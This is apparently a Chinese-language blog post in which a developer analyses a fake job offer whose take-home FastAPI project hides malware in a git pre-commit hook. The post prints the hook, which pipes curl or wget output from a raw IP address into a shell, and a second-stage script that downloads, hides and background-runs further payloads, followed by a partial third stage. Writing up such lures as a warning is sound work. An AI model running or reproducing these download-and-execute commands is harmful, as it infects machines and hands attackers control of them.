我检查了我的带回家面试项目。这是一场全方位的操作
上周四,一位招聘人员通过我的LinkedIn私信我,提供了一个Python开发者的职位。我很高兴有人直接联系我,于是我请求更多细节。当他分享职位描述、公司名称和预计薪资时,我想我没有什么可失去的。以下是最初的信息:提供每月10,000到15,000美元的远程优先、合同到聘用的职位,实在是太好了。此外,为什么这个家伙在我们见面之前就透露薪资信息呢?我以为招聘人员会玩“你先,我后”的游戏。初学者的错误。红旗立刻开始挥舞。为什么预算如此庞大?我查了一下这家公司,发现它是一家Y Combinator创业公司。YC公司并不以常规运营而闻名,因此这并不完全超出可能性范围。尽管如此,如果一家公司有足够的钱花,他们通常会有更结构化的招聘流程。我决定继续,但保持警惕。我把我的简历发了过去。招聘人员很快批准了,并通过一个包含zip存档和说明的PDF的Google Drive链接交给我一个带回家的作业。我解压了zip。乍一看,这只是一个使用SQLAlchemy的标准FastAPI后端;还算标准的东西。我查看了requirements.txt,看有没有明显的拼写错误或恶意软件包,但它完全干净。在那一瞬间,我认为我的怀疑没有根据,这是一份合法的机会。这只是一个习惯(可能是因为做CTF),每当我得到一个随机项目文件夹时,我都运行tree -a看看隐藏目录中藏着什么。但这可能是第一次在现实世界中得到了回报。 ❯ tree -a . . ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├── .git │ ├── config │ ├── description │ ├── gk │ │ └── config │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs ... 等一下。这个仓库中预配置了大量的Git钩子。我打开了pre-commit脚本,看看他们想要运行什么。 ❯ cat .git/hooks/pre-commit #!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; esac 万事俱备。他们嵌入了一个脚本,检查受害者的主机操作系统并静默执行远程有效负载。附注:为什么使用原始IP地址?如果有的话,这无疑是在大喊“恶意软件”。至少注册一个诱饵域名,比如lint-checker.com或jenkins-ci-runner.net。如果写这个的威胁行为者们在看:记下笔记!让我们看看Linux有效负载实际做了什么。注意传递给端点的id=402参数。记住这一点。 ❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo "Authenticated" TARGET_DIR="$HOME/Documents" clear wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402" clear mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh" clear chmod +x "$TARGET_DIR/tokenlinux.sh" clear nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 & clear exit 0 这个脚本拉取了一个初步命名为tokenlinux.npl的次级有效负载(我们稍后会再回到这个特定扩展名)。然后,它把文件隐藏到我的~/Documents目录中作为tokenlinux.sh,给它添加可执行权限,并使用nohup在后台启动。从Google了解到:nohup命令(简写为“no hang up”)是一个Linux/Unix工具,可以保持一个进程在你注销、关闭终端或断开SSH会话后运行。我们将深入研究。让我们检查下一个脚本。 ❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 ... ... BASE_URL="http://45.61.164.38:5777" ... # 第8步:下载文件 # 检查curl是否可用 if ! command -v curl >/dev/null 2>&1; then # 如果curl不可用,使用wget wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json" else # 如果curl可用,使用curl curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json" fi # 第9步:安装'request'包 cd "$USER_HOME" if [ ! -d "node_modules/request" ]; then npm install --silent --no-progress --loglevel=error request fi
本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。
☕请我喝杯咖啡